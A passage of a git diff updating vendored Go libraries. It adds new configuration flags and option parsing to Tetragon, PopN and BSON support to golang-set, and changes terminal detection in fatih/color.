"github.com/prometheus/client_golang/prometheus" + +// See metricswithpod.go for the k8s implementation +func NewCounterVecWithPod(opts prometheus.CounterOpts, labels []string) *prometheus.CounterVec { + metric := prometheus.NewCounterVec(opts, labels) + return metric +} + +// See metricswithpod.go for the k8s implementation +func NewCounterVecWithPodV2(opts prometheus.CounterVecOpts) *prometheus.CounterVec { + metric := prometheus.V2.NewCounterVec(opts) + return metric +} + +// See metricswithpod.go for the k8s implementation +func NewGaugeVecWithPod(opts prometheus.GaugeOpts, labels []string) *prometheus.GaugeVec { + metric := prometheus.NewGaugeVec(opts, labels) + return metric +} + +// See metricswithpod.go for the k8s implementation +func NewGaugeVecWithPodV2(opts prometheus.GaugeVecOpts) *prometheus.GaugeVec { + metric := prometheus.V2.NewGaugeVec(opts) + return metric +} + +// See metricswithpod.go for the k8s implementation +func NewHistogramVecWithPod(opts prometheus.HistogramOpts, labels []string) *prometheus.HistogramVec { + metric := prometheus.NewHistogramVec(opts, labels) + return metric +} + +// See metricswithpod.go for the k8s implementation +func NewHistogramVecWithPodV2(opts prometheus.HistogramVecOpts) *prometheus.HistogramVec { + metric := prometheus.V2.NewHistogramVec(opts) + return metric +} diff --git a/vendor/github.com/cilium/tetragon/pkg/metrics/opts.go b/vendor/github.com/cilium/tetragon/pkg/metrics/opts.go index ce10f2e8..cd7f392e 100644 --- a/vendor/github.com/cilium/tetragon/pkg/metrics/opts.go +++ b/vendor/github.com/cilium/tetragon/pkg/metrics/opts.go @@ -94,10 +94,8 @@ func getVariableLabels[L FilteredLabels](opts *Opts) (prometheus.ConstrainedLabe current[i] = prometheus.ConstrainedLabel{ Name: label.Name, Constraint: func(value string) string { - for _, v := range label.Values { - if value == v { - return value - } + if slices.Contains(label.Values, value) { + return value } // If the value is not in the list of possible values, // replace it with an empty string. diff --git a/vendor/github.com/cilium/tetragon/pkg/option/config.go b/vendor/github.com/cilium/tetragon/pkg/option/config.go index f5a5d751..a4ece61d 100644 --- a/vendor/github.com/cilium/tetragon/pkg/option/config.go +++ b/vendor/github.com/cilium/tetragon/pkg/option/config.go @@ -10,12 +10,14 @@ import ( "path/filepath" "time" + "github.com/spf13/viper" + "github.com/cilium/tetragon/api/v1/tetragon" + "github.com/cilium/tetragon/pkg/defaults" "github.com/cilium/tetragon/pkg/logger" "github.com/cilium/tetragon/pkg/logger/logfields" "github.com/cilium/tetragon/pkg/metrics" - "github.com/spf13/viper" ) type config struct { @@ -31,16 +33,22 @@ type config struct { EnablePodAnnotations bool - EnableProcessAncestors bool - EnableProcessKprobeAncestors bool - EnableProcessTracepointAncestors bool - EnableProcessUprobeAncestors bool - EnableProcessLsmAncestors bool + EnableProcessAncestors bool + EnableProcessKprobeAncestors bool + EnableProcessTracepointAncestors bool + EnableProcessLoaderAncestors bool + EnableProcessUprobeAncestors bool + EnableProcessLsmAncestors bool + EnableProcessUsdtAncestors bool + EnableProcessEnvironmentVariables bool - EnableProcessNs bool - EnableProcessCred bool - EnableK8s bool - K8sKubeConfigPath string + FilterEnvironmentVariables map[string]struct{} + + EnableProcessNs bool + EnableProcessCred bool + EnableK8s bool + K8sKubeConfigPath string + K8sControlPlaneRetry int DisableKprobeMulti bool @@ -52,9 +60,10 @@ type config struct { LogOpts map[string]string - RBSize int - RBSizeTotal int - RBQueueSize int + UsePerfRingBuffer bool + RBSize int + RBSizeTotal int + RBQueueSize int ProcessCacheSize int DataCacheSize int @@ -119,10 +128,18 @@ type config struct { EventCacheNumRetries int EventCacheRetryDelay int - CompatibilitySyscall64SizeType bool - ExecveMapEntries int ExecveMapSize string + + ParentsMapEnabled bool + ParentsMapEntries int + ParentsMapSize string + + RetprobesCacheSize int + + EnableGRPCDeprecatedTP bool + + KeepCollection bool } var ( @@ -141,10 +158,13 @@ var ( // Enable all metrics labels by default MetricsLabelFilter: DefaultLabelFilter(), - // set default valus for the event cache + // set default values for the event cache // mainly used in the case of testing EventCacheNumRetries: defaults.DefaultEventCacheNumRetries, EventCacheRetryDelay: defaults.DefaultEventCacheRetryDelay, + + // Set default value for {k,u}retprobes lru events cache + RetprobesCacheSize: defaults.DefaultRetprobesCacheSize, } ) @@ -163,10 +183,14 @@ func AncestorsEnabled(eventType tetragon.EventType) bool { return Config.EnableProcessKprobeAncestors case tetragon.EventType_PROCESS_TRACEPOINT: return Config.EnableProcessTracepointAncestors + case tetragon.EventType_PROCESS_LOADER: + return Config.EnableProcessLoaderAncestors case tetragon.EventType_PROCESS_UPROBE: return Config.EnableProcessUprobeAncestors case tetragon.EventType_PROCESS_LSM: return Config.EnableProcessLsmAncestors + case tetragon.EventType_PROCESS_USDT: + return Config.EnableProcessUsdtAncestors default: return false } @@ -174,8 +198,8 @@ func AncestorsEnabled(eventType tetragon.EventType) bool { // ReadDirConfig reads the given directory and returns a map that maps the // filename to the contents of that file. -func ReadDirConfig(dirName string) (map[string]interface{}, error) { - m := map[string]interface{}{} +func ReadDirConfig(dirName string) (map[string]any, error) { + m := map[string]any{} files, err := os.ReadDir(dirName) if err != nil && !os.IsNotExist(err) { return nil, fmt.Errorf("unable to read configuration directory: %w", err) @@ -253,3 +277,15 @@ func ReadConfigDir(path string) error { return nil } + +func K8SControlPlaneEnabled() bool { + // If K8s is enabled, we assume that the control plane is enabled. + // This is because the control plane is required to get the kubeconfig + // and other K8s related information. + return Config.EnableK8s || len(Config.K8sKubeConfigPath) > 0 +} + +func InClusterControlPlaneEnabled() bool { + // If K8s is enabled and no kubeconfig path is provided, we assume that the control plane is in-cluster. + return Config.EnableK8s && len(Config.K8sKubeConfigPath) == 0 +} diff --git a/vendor/github.com/cilium/tetragon/pkg/option/flags.go b/vendor/github.com/cilium/tetragon/pkg/option/flags.go index 77d97a76..f432bc11 100644 --- a/vendor/github.com/cilium/tetragon/pkg/option/flags.go +++ b/vendor/github.com/cilium/tetragon/pkg/option/flags.go @@ -12,13 +12,14 @@ import ( "strings" "time" + "github.com/go-viper/mapstructure/v2" + "github.com/spf13/pflag" + "github.com/spf13/viper" + "github.com/cilium/tetragon/pkg/defaults" "github.com/cilium/tetragon/pkg/logger" "github.com/cilium/tetragon/pkg/logger/logfields" "github.com/cilium/tetragon/pkg/strutils" - "github.com/go-viper/mapstructure/v2" - "github.com/spf13/pflag" - "github.com/spf13/viper" ) const ( @@ -38,9 +39,11 @@ const ( KeyLogLevel = "log-level" KeyLogFormat = "log-format" + KeyLogFile = "log-file" - KeyEnableK8sAPI = "enable-k8s-api" - KeyK8sKubeConfigPath = "k8s-kubeconfig-path" + KeyEnableK8sAPI = "enable-k8s-api" + KeyK8sKubeConfigPath = "k8s-kubeconfig-path" + KeyK8sControlPlaneRetry = "k8s-controlplane-retry" KeyEnablePodAnnotations = "enable-pod-annotations" @@ -49,13 +52,9 @@ const ( KeyServerAddress = "server-address" KeyGopsAddr = "gops-address" - // NOTE: enable-process-ancestors flags are marked as deprecated and - // planned to be removed in version 1.6 - KeyEnableProcessAncestors = "enable-process-ancestors" - KeyEnableProcessKprobeAncestors = "enable-process-kprobe-ancestors" - KeyEnableProcessTracepointAncestors = "enable-process-tracepoint-ancestors" - KeyEnableProcessUprobeAncestors = "enable-process-uprobe-ancestors" - KeyEnableProcessLsmAncestors = "enable-process-lsm-ancestors" + KeyEnableProcessEnvironmentVariables = "enable-process-environment-variables" + + KeyFilterEnvironmentVariables = "filter-environment-variables" KeyEnableAncestors = "enable-ancestors" KeyEnableProcessCred = "enable-process-cred" @@ -90,9 +89,10 @@ const ( KeyDisableKprobeMulti = "disable-kprobe-multi" KeyDisableUprobeMulti = "disable-uprobe-multi" - KeyRBSize = "rb-size" - KeyRBSizeTotal = "rb-size-total" - KeyRBQueueSize = "rb-queue-size" + KeyUsePerfRingBuffer = "use-perf-ring-buffer" + KeyRBSize = "rb-size" + KeyRBSizeTotal = "rb-size-total" + KeyRBQueueSize = "rb-queue-size" KeyEventQueueSize = "event-queue-size" @@ -134,10 +134,16 @@ const ( KeyEventCacheRetries = "event-cache-retries" KeyEventCacheRetryDelay = "event-cache-retry-delay" - KeyCompatibilitySyscall64SizeType = "enable-compatibility-syscall64-size-type" - KeyExecveMapEntries = "execve-map-entries" KeyExecveMapSize = "execve-map-size" + + KeyParentsMapEnabled = "parents-map-enabled" + KeyParentsMapEntries = "parents-map-entries" + KeyParentsMapSize = "parents-map-size" + + KeyRetprobesCacheSize = "retprobes-cache-size" + + KeyEnableDeprecatedTPGRPC = "enable-deprecated-tracingpolicy-grpc" ) type UsernameMetadaCode int @@ -170,12 +176,14 @@ func ReadAndSetFlags() error { Config.EnableProcessNs = viper.GetBool(KeyEnableProcessNs) Config.EnableK8s = viper.GetBool(KeyEnableK8sAPI) Config.K8sKubeConfigPath = viper.GetString(KeyK8sKubeConfigPath) + Config.K8sControlPlaneRetry = viper.GetInt(KeyK8sControlPlaneRetry) Config.DisableKprobeMulti = viper.GetBool(KeyDisableKprobeMulti) var err error var enableAncestors []string + Config.UsePerfRingBuffer = viper.GetBool(KeyUsePerfRingBuffer) if Config.RBSize, err = strutils.ParseSize(viper.GetString(KeyRBSize)); err != nil { return fmt.Errorf("failed to parse rb-size value: %w", err) } @@ -193,23 +201,29 @@ func ReadAndSetFlags() error { Config.EnableProcessAncestors = true Config.EnableProcessKprobeAncestors = slices.Contains(enableAncestors, "kprobe") Config.EnableProcessTracepointAncestors = slices.Contains(enableAncestors, "tracepoint") + Config.EnableProcessLoaderAncestors = slices.Contains(enableAncestors, "loader") Config.EnableProcessUprobeAncestors = slices.Contains(enableAncestors, "uprobe") Config.EnableProcessLsmAncestors = slices.Contains(enableAncestors, "lsm") - } else if len(enableAncestors) == 0 && viper.GetBool(KeyEnableProcessAncestors) { - // NOTE: enable-process-ancestors flags are marked as deprecated and - // planned to be removed in version 1.6 - Config.EnableProcessAncestors = true - Config.EnableProcessKprobeAncestors = viper.GetBool(KeyEnableProcessKprobeAncestors) - Config.EnableProcessTracepointAncestors = viper.GetBool(KeyEnableProcessTracepointAncestors) - Config.EnableProcessUprobeAncestors = viper.GetBool(KeyEnableProcessUprobeAncestors) - Config.EnableProcessLsmAncestors = viper.GetBool(KeyEnableProcessLsmAncestors) + Config.EnableProcessUsdtAncestors = slices.Contains(enableAncestors, "usdt") + } + + Config.EnableProcessEnvironmentVariables = viper.GetBool(KeyEnableProcessEnvironmentVariables) + + vars := viper.GetStringSlice(KeyFilterEnvironmentVariables) + if len(vars) != 0 { + filter := make(map[string]struct{}) + for _, v := range vars { + filter[v] = struct{}{} + } + Config.FilterEnvironmentVariables = filter } Config.GopsAddr = viper.GetString(KeyGopsAddr) logLevel := viper.GetString(KeyLogLevel) logFormat := viper.GetString(KeyLogFormat) - logger.PopulateLogOpts(Config.LogOpts, logLevel, logFormat) + logFile := viper.GetString(KeyLogFile) + logger.PopulateLogOpts(Config.LogOpts, logLevel, logFormat, logFile) Config.ProcessCacheSize = viper.GetInt(KeyProcessCacheSize) Config.DataCacheSize = viper.GetInt(KeyDataCacheSize) @@ -291,10 +305,17 @@ func ReadAndSetFlags() error { Config.EventCacheNumRetries = viper.GetInt(KeyEventCacheRetries) Config.EventCacheRetryDelay = viper.GetInt(KeyEventCacheRetryDelay) - Config.CompatibilitySyscall64SizeType = viper.GetBool(KeyCompatibilitySyscall64SizeType) - Config.ExecveMapEntries = viper.GetInt(KeyExecveMapEntries) Config.ExecveMapSize = viper.GetString(KeyExecveMapSize) + + Config.ParentsMapEnabled = viper.GetBool(KeyParentsMapEnabled) + Config.ParentsMapEntries = viper.GetInt(KeyParentsMapEntries) + Config.ParentsMapSize = viper.GetString(KeyParentsMapSize) + + Config.RetprobesCacheSize = viper.GetInt(KeyRetprobesCacheSize) + + Config.EnableGRPCDeprecatedTP = viper.GetBool(KeyEnableDeprecatedTPGRPC) + return nil } @@ -345,13 +366,13 @@ func ParseCgroupRate(rate string) CgroupRate { // StringToSliceHookFunc returns a DecodeHookFunc that converts string to []string // by splitting on the given sep and removing all leading and trailing white spaces. func stringToSliceHookFunc(sep string) mapstructure.DecodeHookFunc { - return func(f reflect.Type, t reflect.Type, data interface{}) (interface{}, error) { + return func(f reflect.Type, t reflect.Type, data any) (any, error) { if f.Kind() != reflect.String || t != reflect.SliceOf(f) { return data, nil } outSlice := []string{} - for _, s := range strings.Split(data.(string), sep) { + for s := range strings.SplitSeq(data.(string), sep) { s = strings.TrimSpace(s) outSlice = append(outSlice, s) } @@ -383,8 +404,10 @@ func AddFlags(flags *pflag.FlagSet) { flags.Int(KeyExportRateLimit, -1, "Rate limit (per minute) for event export. Set to -1 to disable") flags.String(KeyLogLevel, "info", "Set log level") flags.String(KeyLogFormat, "text", "Set log format") + flags.String(KeyLogFile, "", "Set log file where tetragon agent logs will be written (in addition to stdout or stderr)") flags.Bool(KeyEnableK8sAPI, false, "Access Kubernetes API to associate Tetragon events with Kubernetes pods") flags.String(KeyK8sKubeConfigPath, "", "Absolute path of the kubernetes kubeconfig file") + flags.Int(KeyK8sControlPlaneRetry, 1, "Number of attempts for Kubernetes control plane connection (negative for infinite, zero is invalid, positive for max attempts)") flags.String(KeyMetricsServer, "", "Metrics server address (e.g. ':2112'). Disabled by default") flags.String(KeyMetricsLabelFilter, "namespace,workload,pod,binary", "Comma-separated list of enabled metrics labels. Unknown labels will be ignored.") flags.String(KeyServerAddress, "localhost:54321", "gRPC server address (e.g. 'localhost:54321' or 'unix:///var/run/tetragon/tetragon.sock'). An empty address disables the gRPC server") @@ -393,20 +416,12 @@ func AddFlags(flags *pflag.FlagSet) { flags.Bool(KeyEnableProcessNs, false, "Enable namespace information in process_exec and process_kprobe events") flags.Uint(KeyEventQueueSize, 10000, "Set the size of the internal event queue.") flags.Bool(KeyEnablePodAnnotations, false, "Add pod annotations field to events.") - flags.StringSlice(KeyEnableAncestors, []string{}, "Comma-separated list of process event types to enable ancestors for. Supported event types are: base, kprobe, tracepoint, uprobe, lsm. Unknown event types will be ignored. Type 'base' enables ancestors for process_exec and process_exit events and is required by all other supported event types for correct reference counting. An empty string disables ancestors completely") - - // NOTE: enable-process-ancestors flags are marked as deprecated and - // planned to be removed in version 1.6 - flags.Bool(KeyEnableProcessAncestors, false, "Deprecated, please, use --enable-ancestors=base. Include ancestors in process_exec and process_exit events. Disabled by default. Required by other enable ancestors options for correct reference counting") - flags.Bool(KeyEnableProcessKprobeAncestors, false, fmt.Sprintf("Deprecated, please, use --enable-ancestors=base,kprobe. Include ancestors in process_kprobe events. Only used if '%s' is set to 'true'", KeyEnableProcessAncestors)) - flags.Bool(KeyEnableProcessTracepointAncestors, false, fmt.Sprintf("Deprecated, please, use --enable-ancestors=base,tracepoint. Include ancestors in process_tracepoint events. Only used if '%s' is set to 'true'", KeyEnableProcessAncestors)) - flags.Bool(KeyEnableProcessUprobeAncestors, false, fmt.Sprintf("Deprecated, please, use --enable-ancestors=base,uprobe. Include ancestors in process_uprobe events. Only used if '%s' is set to 'true'", KeyEnableProcessAncestors)) - flags.Bool(KeyEnableProcessLsmAncestors, false, fmt.Sprintf("Deprecated, please, use --enable-ancestors=base,lsm. Include ancestors in process_lsm events. Only used if '%s' is set to 'true'", KeyEnableProcessAncestors)) - flags.MarkDeprecated(KeyEnableProcessAncestors, "please use --enable-ancestors=base") - flags.MarkDeprecated(KeyEnableProcessKprobeAncestors, "please use --enable-ancestors=base,kprobe") - flags.MarkDeprecated(KeyEnableProcessTracepointAncestors, "please use --enable-ancestors=base,tracepoint") - flags.MarkDeprecated(KeyEnableProcessUprobeAncestors, "please use --enable-ancestors=base,uprobe") - flags.MarkDeprecated(KeyEnableProcessLsmAncestors, "please use --enable-ancestors=base,lsm") + flags.StringSlice(KeyEnableAncestors, []string{}, "Comma-separated list of process event types to enable ancestors for. Supported event types are: base, kprobe, tracepoint, loader, uprobe, lsm, usdt. Unknown event types will be ignored. Type 'base' enables ancestors for process_exec and process_exit events and is required by all other supported event types for correct reference counting. An empty string disables ancestors completely") + + flags.Bool(KeyEnableProcessEnvironmentVariables, false, "Include environment variables in process_exec events. Disabled by default. Note that this option can significantly increase the size of the events and may impact performance, as well as capture sensitive information such as passwords in the events (you can use --redaction-filters to redact the data).") + + // filter option for allowed envs + flags.StringSliceP(KeyFilterEnvironmentVariables, "", nil, "Filter for specific environment variables") // Tracing policy file flags.String(KeyTracingPolicy, "", "Tracing policy file to load at startup") @@ -443,9 +458,11 @@ func AddFlags(flags *pflag.FlagSet) { // Allow to disable kprobe multi interface flags.Bool(KeyDisableKprobeMulti, false, "Allow to disable kprobe multi interface") - // Allow to specify perf ring buffer size - flags.String(KeyRBSizeTotal, "0", "Set perf ring buffer size in total for all cpus (default 65k per cpu, allows K/M/G suffix)") - flags.String(KeyRBSize, "0", "Set perf ring buffer size for single cpu (default 65k, allows K/M/G suffix)") + // Allow to specify ring buffer + flags.Bool(KeyUsePerfRingBuffer, false, "Use the perf ring buffer instead of the bpf ring buffer") + // Allow to specify ring buffer size + flags.String(KeyRBSizeTotal, "0", "Set ring buffer size in total for all cpus (default 65k per cpu, allows K/M/G suffix)") + flags.String(KeyRBSize, "0", "Set ring buffer size for single cpu (default 65k, allows K/M/G suffix)") // Provide option to remove existing pinned BPF programs and maps in Tetragon's // observer dir on startup. Useful for doing upgrades/downgrades. Set to false to @@ -493,8 +510,15 @@ func AddFlags(flags *pflag.FlagSet) { flags.Int(KeyEventCacheRetries, defaults.DefaultEventCacheNumRetries, "Number of retries for event cache") flags.Int(KeyEventCacheRetryDelay, defaults.DefaultEventCacheRetryDelay, "Delay in seconds between event cache retries") - flags.Bool(KeyCompatibilitySyscall64SizeType, false, "syscall64 type will produce output of type size (compatibility flag, will be removed in v1.4)") - flags.Int(KeyExecveMapEntries, 0, "Set entries for execve_map table (default 32768)") flags.String(KeyExecveMapSize, "", "Set size for execve_map table (allows K/M/G suffix)") + + flags.Bool(KeyParentsMapEnabled, false, "Enable parents_map for matchParentBinaries selector") + flags.Int(KeyParentsMapEntries, 0, "Set entries for parents_map table (default 32768)") + flags.String(KeyParentsMapSize, "", "Set size for parents_map table (allows K/M/G suffix)") + + flags.Int(KeyRetprobesCacheSize, defaults.DefaultRetprobesCacheSize, "Set {k,u}retprobes events cache maximum size") + + flags.Bool(KeyEnableDeprecatedTPGRPC, false, "Enable deprecated gRPC TracingPolicy APIs") + } diff --git a/vendor/github.com/cilium/tetragon/pkg/option/metricslabels.go b/vendor/github.com/cilium/tetragon/pkg/option/metricslabels.go index 0d9bf8c3..94ead642 100644 --- a/vendor/github.com/cilium/tetragon/pkg/option/metricslabels.go +++ b/vendor/github.com/cilium/tetragon/pkg/option/metricslabels.go @@ -15,12 +15,13 @@ func DefaultLabelFilter() metrics.LabelFilter { "workload": true, "pod": true, "binary": true, + "node_name": true, } } func ParseMetricsLabelFilter(labelsString string) []string { labels := []string{} - for _, l := range strings.Split(labelsString, ",") { + for l := range strings.SplitSeq(labelsString, ",") { l = strings.TrimSpace(l) labels = append(labels, l) } @@ -31,7 +32,7 @@ func ParseMetricsLabelFilter(labelsString string) []string { // filter applied. To have a metric respect the labels filter, we have to: // 1. Define a granular metric with ProcessLabels type parameter (see pkg/metrics/granularmetric.go). // 2. When calling WithLabelValues, pass a ProcessLabels struct created with CreateProcessLabels. -func CreateProcessLabels(namespace, workload, pod, binary string) *metrics.ProcessLabels { +func CreateProcessLabels(namespace, workload, pod, binary, nodeName string) *metrics.ProcessLabels { if !Config.MetricsLabelFilter["namespace"] { namespace = "" } @@ -44,5 +45,8 @@ func CreateProcessLabels(namespace, workload, pod, binary string) *metrics.Proce if !Config.MetricsLabelFilter["binary"] { binary = "" } - return metrics.NewProcessLabels(namespace, workload, pod, binary) + if !Config.MetricsLabelFilter["node_name"] { + nodeName = "" + } + return metrics.NewProcessLabels(namespace, workload, pod, binary, nodeName) } diff --git a/vendor/github.com/cilium/tetragon/pkg/podhooks/podhooks.go b/vendor/github.com/cilium/tetragon/pkg/podhooks/podhooks.go index 8336872c..11432ba6 100644 --- a/vendor/github.com/cilium/tetragon/pkg/podhooks/podhooks.go +++ b/vendor/github.com/cilium/tetragon/pkg/podhooks/podhooks.go @@ -1,6 +1,8 @@ // SPDX-License-Identifier: Apache-2.0 // Copyright Authors of Tetragon +//go:build !nok8s + package podhooks import ( diff --git a/vendor/github.com/deckarep/golang-set/v2/README.md b/vendor/github.com/deckarep/golang-set/v2/README.md index e4713680..2c6dd6b9 100644 --- a/vendor/github.com/deckarep/golang-set/v2/README.md +++ b/vendor/github.com/deckarep/golang-set/v2/README.md @@ -9,6 +9,13 @@ The missing `generic` set collection for the Go language. Until Go has sets bui ## Psst * Hi there, 👋! Do you use or have interest in the [Zig programming language](https://ziglang.org/) created by Andrew Kelley? If so, the golang-set project has a new sibling project: [ziglang-set](https://github.com/deckarep/ziglang-set)! Come check it out! +## Update 4/20/2026 +* Packaged version: `2.9.0` contains the following: + * Address an edge case where a deadlock may occur with `Each` should a panic occur: [PR #164](https://github.com/deckarep/golang-set/pull/164) + * BSON Marshaling support for Marshaling and Unmarshaling: [PR #142](https://github.com/deckarep/golang-set/pull/142) + * New PopN method: [PR #166](https://github.com/deckarep/golang-set/pull/166) + * Reduced allocations by using capacity arg for some methods that may allocate: [PR #171](https://github.com/deckarep/golang-set/pull/171) + ## Update 3/14/2025 * Packaged version: `2.8.0` introduces support for true iterators for Go 1.23+. Please see [issue #141](https://github.com/deckarep/golang-set/issues/141) for further details on the implications of how iterations work between older Go versions vs newer Go versions. Additionally, this diff --git a/vendor/github.com/deckarep/golang-set/v2/set.go b/vendor/github.com/deckarep/golang-set/v2/set.go index e9409aa8..92b67bff 100644 --- a/vendor/github.com/deckarep/golang-set/v2/set.go +++ b/vendor/github.com/deckarep/golang-set/v2/set.go @@ -35,6 +35,8 @@ SOFTWARE. // that can enforce mutual exclusion through other means. package mapset +import "go.mongodb.org/mongo-driver/bson/bsontype" + // Set is the primary interface provided by the mapset package. It // represents an unordered set of data and a large number of // operations that can be applied to that set. @@ -189,6 +191,12 @@ type Set[T comparable] interface { // Pop removes and returns an arbitrary item from the set. Pop() (T, bool) + // PopN removes and returns up to n arbitrary items from the set. + // It returns a slice of the removed items and the actual number of items removed. + // If the set is empty or n is less than or equal to 0s, it returns an empty slice and 0. + // If n is greater than the set's size, all items are + PopN(n int) ([]T, int) + // ToSlice returns the members of the set as a slice. ToSlice() []T @@ -196,8 +204,15 @@ type Set[T comparable] interface { MarshalJSON() ([]byte, error) // UnmarshalJSON will unmarshal a JSON-based byte slice into a full Set datastructure. - // For this to work, set subtypes must implemented the Marshal/Unmarshal interface. + // For this to work, set subtypes must implement the Marshal/Unmarshal interface. UnmarshalJSON(b []byte) error + + // MarshalBSONValue will marshal the set into a BSON-based representation. + MarshalBSONValue() (bsontype.Type, []byte, error) + + // UnmarshalBSONValue will unmarshal a BSON-based byte slice into a full Set datastructure. + // For this to work, set subtypes must implement the Marshal/Unmarshal interface. + UnmarshalBSONValue(bt bsontype.Type, b []byte) error } // NewSet creates and returns a new set with the given elements. diff --git a/vendor/github.com/deckarep/golang-set/v2/threadsafe.go b/vendor/github.com/deckarep/golang-set/v2/threadsafe.go index 664fc611..835797ea 100644 --- a/vendor/github.com/deckarep/golang-set/v2/threadsafe.go +++ b/vendor/github.com/deckarep/golang-set/v2/threadsafe.go @@ -25,7 +25,11 @@ SOFTWARE. package mapset -import "sync" +import ( + "sync" + + "go.mongodb.org/mongo-driver/bson/bsontype" +) type threadSafeSet[T comparable] struct { sync.RWMutex @@ -208,12 +212,12 @@ func (t *threadSafeSet[T]) Cardinality() int { func (t *threadSafeSet[T]) Each(cb func(T) bool) { t.RLock() + defer t.RUnlock() for elem := range *t.uss { if cb(elem) { break } } - t.RUnlock() } func (t *threadSafeSet[T]) Iter() <-chan T { @@ -285,9 +289,16 @@ func (t *threadSafeSet[T]) Pop() (T, bool) { return t.uss.Pop() } +func (t *threadSafeSet[T]) PopN(n int) ([]T, int) { + t.Lock() + defer t.Unlock() + return t.uss.PopN(n) +} + func (t *threadSafeSet[T]) ToSlice() []T { - keys := make([]T, 0, t.Cardinality()) t.RLock() + l := len(*t.uss) + keys := make([]T, 0, l) for elem := range *t.uss { keys = append(keys, elem) } @@ -304,9 +315,25 @@ func (t *threadSafeSet[T]) MarshalJSON() ([]byte, error) { } func (t *threadSafeSet[T]) UnmarshalJSON(p []byte) error { - t.RLock() + t.Lock() err := t.uss.UnmarshalJSON(p) + t.Unlock() + + return err +} + +func (t *threadSafeSet[T]) MarshalBSONValue() (bsontype.Type, []byte, error) { + t.RLock() + bt, b, err := t.uss.MarshalBSONValue() t.RUnlock() + return bt, b, err +} + +func (t *threadSafeSet[T]) UnmarshalBSONValue(bt bsontype.Type, p []byte) error { + t.Lock() + err := t.uss.UnmarshalBSONValue(bt, p) + t.Unlock() + return err } diff --git a/vendor/github.com/deckarep/golang-set/v2/threadunsafe.go b/vendor/github.com/deckarep/golang-set/v2/threadunsafe.go index c95d32b4..708c0254 100644 --- a/vendor/github.com/deckarep/golang-set/v2/threadunsafe.go +++ b/vendor/github.com/deckarep/golang-set/v2/threadunsafe.go @@ -29,6 +29,9 @@ import ( "encoding/json" "fmt" "strings" + + "go.mongodb.org/mongo-driver/bson" + "go.mongodb.org/mongo-driver/bson/bsontype" ) type threadUnsafeSet[T comparable] map[T]struct{} @@ -138,13 +141,13 @@ func (s *threadUnsafeSet[T]) contains(v T) (ok bool) { func (s *threadUnsafeSet[T]) Difference(other Set[T]) Set[T] { o := other.(*threadUnsafeSet[T]) - diff := newThreadUnsafeSet[T]() + diff := make(threadUnsafeSet[T], s.Cardinality()) for elem := range *s { if !o.contains(elem) { diff.add(elem) } } - return diff + return &diff } func (s *threadUnsafeSet[T]) Each(cb func(T) bool) { @@ -172,22 +175,24 @@ func (s *threadUnsafeSet[T]) Equal(other Set[T]) bool { func (s *threadUnsafeSet[T]) Intersect(other Set[T]) Set[T] { o := other.(*threadUnsafeSet[T]) - intersection := newThreadUnsafeSet[T]() + var intersection threadUnsafeSet[T] // loop over smaller set if s.Cardinality() < other.Cardinality() { + intersection = make(threadUnsafeSet[T], s.Cardinality()) for elem := range *s { if o.contains(elem) { intersection.add(elem) } } } else { + intersection = make(threadUnsafeSet[T], o.Cardinality()) for elem := range *o { if s.contains(elem) { intersection.add(elem) } } } - return intersection + return &intersection } func (s *threadUnsafeSet[T]) IsEmpty() bool { @@ -259,6 +264,27 @@ func (s *threadUnsafeSet[T]) Pop() (v T, ok bool) { return v, false } +func (s *threadUnsafeSet[T]) PopN(n int) (items []T, count int) { + if n <= 0 || len(*s) == 0 { + return make([]T, 0), 0 + } + sn := s.Cardinality() + if n > sn { + n = sn + } + + items = make([]T, 0, sn) + for item := range *s { + if count >= n { + break + } + delete(*s, item) + items = append(items, item) + count++ + } + return items, count +} + func (s threadUnsafeSet[T]) Remove(v T) { delete(s, v) } @@ -281,7 +307,9 @@ func (s threadUnsafeSet[T]) String() string { func (s *threadUnsafeSet[T]) SymmetricDifference(other Set[T]) Set[T] { o := other.(*threadUnsafeSet[T]) - sd := newThreadUnsafeSet[T]() + // maximum number of elements is the sum of s and o cardinalities (when s and o are disjoint) + n := s.Cardinality() + o.Cardinality() + sd := make(threadUnsafeSet[T], n) for elem := range *s { if !o.contains(elem) { sd.add(elem) @@ -292,7 +320,7 @@ func (s *threadUnsafeSet[T]) SymmetricDifference(other Set[T]) Set[T] { sd.add(elem) } } - return sd + return &sd } func (s threadUnsafeSet[T]) ToSlice() []T { @@ -307,10 +335,8 @@ func (s threadUnsafeSet[T]) ToSlice() []T { func (s threadUnsafeSet[T]) Union(other Set[T]) Set[T] { o := other.(*threadUnsafeSet[T]) - n := s.Cardinality() - if o.Cardinality() > n { - n = o.Cardinality() - } + // maximum number of elements is the sum of s and o cardinalities (when s and o are disjoint) + n := s.Cardinality() + o.Cardinality() unionedSet := make(threadUnsafeSet[T], n) for elem := range s { @@ -350,3 +376,24 @@ func (s *threadUnsafeSet[T]) UnmarshalJSON(b []byte) error { return nil } + +// MarshalBSON creates a BSON array from the set. +func (s threadUnsafeSet[T]) MarshalBSONValue() (bsontype.Type, []byte, error) { + return bson.MarshalValue(s.ToSlice()) +} + +// UnmarshalBSON recreates a set from a BSON array. +func (s threadUnsafeSet[T]) UnmarshalBSONValue(bt bsontype.Type, b []byte) error { + if bt != bson.TypeArray { + return fmt.Errorf("must use BSON Array to unmarshal Set") + } + + var i []T + err := bson.UnmarshalValue(bt, b, &i) + if err != nil { + return err + } + s.Append(i...) + + return nil +} diff --git a/vendor/github.com/fatih/color/color.go b/vendor/github.com/fatih/color/color.go index ee39b408..d3906bfb 100644 --- a/vendor/github.com/fatih/color/color.go +++ b/vendor/github.com/fatih/color/color.go @@ -19,15 +19,15 @@ var ( // set (regardless of its value). This is a global option and affects all // colors. For more control over each color block use the methods // DisableColor() individually. - NoColor = noColorIsSet() || os.Getenv("TERM") == "dumb" || - (!isatty.IsTerminal(os.Stdout.Fd()) && !isatty.IsCygwinTerminal(os.Stdout.Fd())) + NoColor = noColorIsSet() || os.Getenv("TERM") == "dumb" || !stdoutIsTerminal() // Output defines the standard output of the print functions. By default, - // os.Stdout is used. - Output = colorable.NewColorableStdout() + // stdOut() is used. + Output = stdOut() - // Error defines a color supporting writer for os.Stderr. - Error = colorable.NewColorableStderr() + // Error defines the standard error of the print functions. By default, + // stdErr() is used. + Error = stdErr() // colorsCache is used to reduce the count of created Color objects and // allows to reuse already created objects with required Attribute. @@ -40,6 +40,33 @@ func noColorIsSet() bool { return os.Getenv("NO_COLOR") != "" } +// stdoutIsTerminal returns true if os.Stdout is a terminal. +// Returns false if os.Stdout is nil (e.g., when running as a Windows service). +func stdoutIsTerminal() bool { + if os.Stdout == nil { + return false + } + return 